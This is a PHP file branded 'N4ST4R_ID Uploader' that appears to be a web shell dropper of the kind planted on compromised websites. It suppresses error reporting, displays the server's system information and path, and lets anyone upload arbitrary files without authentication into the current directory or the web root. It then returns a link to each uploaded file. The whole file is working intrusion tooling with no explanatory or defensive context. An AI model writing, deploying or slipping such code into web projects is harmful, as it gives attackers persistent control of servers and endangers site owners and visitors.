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<?
// silent is gold
error_reporting(0);
$dir = __DIR__;
?>

N4ST4R_ID Uploader
<br>
<b><?= php_uname(); ?></b><br>
<b><?= $dir; ?></b><br><br>
<form method='post' enctype='multipart/form-data'>
    <select name="directory">
        <option value="2">Upload to this dir</option>
        <option value="1">Upload to home dir</option>
    </select><br>
    <input type='file' name='nax_file'>
    <input type='submit' name='upload' value='upload'>
</form>

<?php
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['nax_file']['name'];
$web = "http://" . $_SERVER['HTTP_HOST'] . "/";

if (isset($_POST['upload'])) {
    $post = $_POST;

    if ($post['directory'] == '1') {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $dest = $root . '/' . $files;
        
        if (is_writable($root)) {
            if (move_uploaded_file($_FILES['nax_file']['tmp_name'], $dest)) {
                echo "UPLOADED TO HOME DIR >> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
            } else {
                echo "Upload failed";
            }
        } else {
            echo "Home dir is not writable";
        }
    } else {
        if (move_uploaded_file($_FILES['nax_file']['tmp_name'], $files)) {
            echo "UPLOADED TO THIS DIR >> <a href='/$files' target='_blank'><b><u>$files</u></b></a>";
        } else {
            echo "Upload failed";
        }
    }
}
?>